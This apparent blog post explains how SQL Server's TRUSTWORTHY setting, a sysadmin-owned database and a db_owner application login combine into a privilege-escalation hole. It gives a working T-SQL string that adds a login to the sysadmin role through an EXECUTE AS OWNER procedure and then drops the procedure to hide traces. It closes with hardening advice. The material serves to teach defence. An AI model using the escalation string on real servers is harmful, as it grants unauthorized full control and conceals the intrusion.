A few weeks ago (okay, a few more than a few weeks ago) I wrote about the TRUSTWORTHY database property and how it changes effective permissions. At that point I promised to show how the trustworthy property can be misused for malicious intent. With this post I am going to deliver on that promise. I am going to show how two often encountered configuration choices together with the TRUSTWORTHY database property open up a big security hole.
Most databases out there were created by a member of the sysadmin server role. By default any database is owned by the principal that created it, so it is probably safe to say that most databases out there are owned by a sysadmin. Even more so as many sources recommend changing the database owner to SA on all databases.
It has been written and talked about in many places and most of us know that granting more than the absolute necessary permissions to a user is a bad idea. This is particularly true for users that are used by an application to access the database.
But still, there are many products out there that recommend or even enforce that the connection to the database is made by a login that is mapped to the db_owner role in that application's database.
Most things in SQL Server that "require" a database set to TRUSTWORTHY can actually be implemented using certificates instead. An example is cross database Service Broker communication. You can either just mark the databases involved as TRUSTWORTHY and be done with it, or you have to create a more secure but considerably more complex setup involving certificates. Many people shy away from the certificate route and use the quick and easy TRUSTWORTHY fix.
Now let us have a look at what happens when those three things I just mentioned, a sysadmin owned database, an application login that is a db_owner and a database set to be TRUSTWORTHY, apply to the same database. As we learned in the first part of this article, a stored procedure that is set to execute as owner and that is owned by a database owner will during execution acquire the permission set of the actual database owner if the database is set to TRUSTWORTHY. But in this case that database owner is member of the sysadmin server role. So effectively, the application user now has sysadmin rights.
Let's look at an example. First we are going to create a new database with a few supporting objects that we will use later on.
USE tempdb; GO IF OBJECT_ID('tempdb..#ForceDropDatabase') IS NOT NULL DROP PROCEDURE #ForceDropDatabase; GO CREATE PROCEDURE #ForceDropDatabase @db_name NVARCHAR(MAX) AS BEGIN IF(DB_ID(@db_name)IS NOT NULL) BEGIN EXEC(' USE master; ALTER DATABASE '+@db_name+' SET RESTRICTED_USER WITH ROLLBACK IMMEDIATE; USE '+@db_name+'; ALTER DATABASE '+@db_name+' SET SINGLE_USER WITH ROLLBACK IMMEDIATE; USE master; DROP DATABASE '+@db_name+'; '); END; END GO EXEC #ForceDropDatabase 'SaOwnedDb'; GO EXECUTE AS LOGIN = 'SA'; GO CREATE DATABASE SaOwnedDb; GO USE SaOwnedDb; GO CREATE SCHEMA hlp; GO CREATE PROCEDURE hlp.TryExec @cmd NVARCHAR(MAX) AS BEGIN BEGIN TRY EXEC(@cmd); END TRY BEGIN CATCH SELECT 'TryExec' info,'|'[|],@cmd cmd,ERROR_MESSAGE() error_message; END CATCH; END; GO CREATE PROCEDURE hlp.DatabaseProperties AS BEGIN SELECT 'DatabaseProperties' info,'|'[|],d.name database_name,p.name database_owner,d.is_trustworthy_on FROM sys.databases d JOIN sys.server_principals p ON d.owner_sid = p.sid WHERE d.database_id = DB_ID(); END; GO CREATE PROCEDURE hlp.ObjectProperties @object_name NVARCHAR(MAX) WITH EXECUTE AS SELF AS BEGIN SELECT 'ObjectProperties' info,'|'[|], s.name schema_name, p.name object_name, USER_NAME(p.principal_id) object_owner, USER_NAME(s.principal_id) schema_owner, CASE m.execute_as_principal_id WHEN -2 THEN 'OWNER' ELSE USER_NAME(m.execute_as_principal_id) END execute_as_user FROM sys.procedures p JOIN sys.sql_modules m ON p.object_id = m.object_id JOIN sys.schemas s ON p.schema_id = s.schema_id WHERE p.object_id = OBJECT_ID(@object_name); END; GO CREATE FUNCTION hlp.CurrentTokens() RETURNS TABLE AS RETURN SELECT 'CurrentTokens' info,'|'[|],OBJECT_NAME(@@PROCID)procedure_name,USER_NAME() [user],SUSER_NAME() [login],'|'[l], * FROM( SELECT 'user' token_source,name, type, usage FROM sys.user_token UNION ALL SELECT 'login' token_source,name, type, usage FROM sys.login_token )X; GO CREATE FUNCTION hlp.RoleMembership(@principal_name SYSNAME) RETURNS TABLE AS RETURN SELECT 'RoleMembership' info,'|'[|],sp.name member_name, spr.name role_name FROM sys.server_principals sp JOIN sys.server_role_members srm ON sp.principal_id = srm.member_principal_id JOIN sys.server_principals spr ON srm.role_principal_id = spr.principal_id WHERE sp.NAME = @principal_name; GO GRANT EXECUTE,SELECT ON SCHEMA::hlp TO PUBLIC; GO ALTER DATABASE SaOwnedDb SET TRUSTWORTHY ON; GO EXEC hlp.DatabaseProperties; GO USE tempdb; GO REVERT; GO
When you execute this code, it will drop any preexisting database with the name SAOwnedDb. Then it creates a new database with the same name, using EXECUTE AS LOGIN = 'SA'; to make sure the database is owned by SA. Afterwards the script creates the hlp schema with its helper procedures. As last step, the database is set to trustworthy. The output of the hlp.DatabaseProperties procedure allows us to check the database owner as well as the trustworthy state:
The next step now is to create a login and an associated user and then make that user a member of the db_owner role in our database.
USE SaOwnedDb; GO CREATE LOGIN ApplicationLogin WITH PASSWORD = '**********'; CREATE USER ApplicationUser FROM LOGIN ApplicationLogin; GO ALTER ROLE db_owner ADD MEMBER ApplicationUser; GO IF OBJECT_ID('dbo.CheckPerms') IS NOT NULL DROP PROCEDURE dbo.CheckPerms; GO CREATE PROCEDURE dbo.CheckPerms WITH EXECUTE AS OWNER AS BEGIN SELECT * FROM hlp.CurrentTokens(); END; GO EXECUTE AS USER='ApplicationUser'; GO EXEC dbo.CheckPerms; GO REVERT; GO
The above script also creates a procedure dbo.CheckPerms that will list the security tokens in effect when it gets executed. Notice that it has the EXECUTE AS OWNER clause specified. The output of that procedure when executed by our ApplicationUser looks like this:
Particularly interesting is row 4 of the result. Is shows that all sysadmin privileges are in full effect while the procedure is executing. (Refer back to the first part for a little more information on security tokes.)
The following code shows a short character string that when executed elevates the ApplicationLogin to a sysadmin.
EXECUTE AS USER = 'ApplicationUser'; GO DECLARE @cmd NVARCHAR(MAX) = 'EXEC(''CREATE PROC dbo.hack WITH EXECUTE AS OWNER AS '+ 'ALTER SERVER ROLE sysadmin ADD MEMBER ApplicationLogin;'');'+ 'EXEC dbo.hack;DROP PROC dbo.Hack;' EXEC(@cmd) GO REVERT GO SELECT * FROM hlp.RoleMembership('ApplicationLogin');
The output of the SELECT statement at the end confirms that the login now is indeed member of the sysadmin server role:
The string first creates a new procedure with the EXECUTE AS OWNER option. Because the ApplicationUser is a member of the db_owner database role it has the necessary permissions to create that object. Inside the procedure is the code that is used to elevate an account. This example is using the ApplicationLogin for this purpose, but it could be any login. The code could even create a new login.
At the end the string contains two statements to first execute the procedure and then drop it to remove all traces.
This string is certainly short enough to be used in a SQL Injection attack. SQL Injection is not that unlikely to happen. Most of the applications I see at my clients have more or less big holes in this regard.
But we don't even need to go there. Most attacks on a company's IT infrastructure originate in-house. This string could for example just be executed by any person that happens to have to password to this account — likely many people as it is used by the application to connect to the server.
We have seen that the combination of the TRUSTWORTHY database setting with two other often seen configurations opens up the entire server to a malicious user that manages to get a short SQL command injected and executed. Don't let your IT infrastructure fall prey to an attack like this.
Avoid using the TRUSTWORTHY database property. But if you have to use it, make sure that the database is owned by an account that does not have more permissions outside of the database than absolutely necessary. And – most important – do not have your application use a login that is member of the db_owner database role.